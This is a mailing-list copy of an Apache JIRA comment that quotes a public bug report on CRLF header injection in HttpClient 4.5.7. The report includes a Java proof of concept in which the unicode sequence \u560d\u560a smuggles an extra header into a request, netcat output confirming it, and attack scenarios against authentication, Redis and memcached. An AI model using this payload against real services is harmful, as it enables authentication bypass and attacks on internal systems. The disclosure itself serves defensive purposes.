[ 
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16804399#comment-16804399
 ] 

Michael Osipov commented on HTTPCLIENT-1974:
--------------------------------------------

I'd document the behavior, use at your own risk and get over it.

> CRLF injection vulnerability in setting/adding HTTP headers
> -----------------------------------------------------------
>
>                 Key: HTTPCLIENT-1974
>                 URL: https://issues.apache.org/jira/browse/HTTPCLIENT-1974
>             Project: HttpComponents HttpClient
>          Issue Type: Bug
>          Components: HttpClient (classic)
>    Affects Versions: 4.5.7
>            Reporter: Filip Ochnik
>            Priority: Major
>
> Hello,
>  
> Note: This vulnerability has already been reported using a private channel. 
> Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here 
> for public visibility.
>  
> *Summary*
> HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when 
> adding or setting headers on an HTTP request. Attacker who can control the 
> value of any header in a request created using HttpClient could exploit this 
> vulnerability to add arbitrary headers and attack internal services, like a 
> webserver, Redis, memcached, etc.
>  
> *Details*
> The current version of HttpClient does not properly filter unicode values, 
> resulting in the sequence '{color:#000000}\u560d\u560a{color}' being 
> converted to `\r\n` and causing unintended behavior. When the value (or part 
> of the value) of any header set when constructing an HTTP request using 
> HttpClient is controlled by an attacker, it allows them to insert arbitrary 
> content to the new line of the HTTP header.
>  
> *Proof of concept*
> Consider this piece of code, where variable "attackerControlledValue" 
> simulates an attacker-controlled input.
>  
> {code:java}
> import org.apache.http.client.methods.HttpGet;
> import org.apache.http.impl.client.CloseableHttpClient;
> import org.apache.http.impl.client.HttpClients;
> public class Main {
>    public final static void main(String[] args) throws Exception {
>        CloseableHttpClient httpclient = HttpClients.createDefault();
>        String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh 
> no!";
>        try {
>            HttpGet httpget = new HttpGet("http://127.0.0.1:8080/";);
>            httpget.addHeader("X-I-Expect-This-Header", 
> attackerControlledValue);
>            httpclient.execute(httpget);
>        } finally {
>            httpclient.close();
>        }
>    }
> }{code}
>  
>  
> We set up a netcat listener on port 8080 and run this code:
>  
> {code:java}
> $ nc -l 8080
> GET / HTTP/1.1
> X-I-Expect-This-Header: 1
> X-But-Not-This-One: oh no!
> Host: 127.0.0.1:8080
> Connection: Keep-Alive
> User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
> Accept-Encoding: gzip,deflate
> {code}
>  
> We can see in the netcat output that the header 
> "{color:#000000}X-But-Not-This-One{color}" is present in the request, which 
> means the injection succeeded.
>  
> *Attack scenarios*
>  * By adding arbitrary HTTP headers it's possible to bypass authentication of 
> some simple web services
>  * Several simple services that communicate over HTTP (Redis, memcached) can 
> be exploited by injecting valid commands
>  
> *Related vulnerabilities*
> Here are some related CRLF injection vulnerabilities in other software:
>  * CVE-2016-5699 in Python’s stdlib 
> [https://nvd.nist.gov/vuln/detail/CVE-2016-5699]
>  * CVE-2017-6508 in wget [https://nvd.nist.gov/vuln/detail/CVE-2017-6508]
>  * CVE-2016-4993 in Undertow web server 
> [https://nvd.nist.gov/vuln/detail/CVE-2016-4993]
>  * CVE-2019-9740 in Python's stdlib again 
> [https://nvd.nist.gov/vuln/detail/CVE-2019-9740]



--
This message was sent by Atlassian JIRA
(v7.6.3#76005)

---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscr...@hc.apache.org
For additional commands, e-mail: dev-h...@hc.apache.org

Reply via email to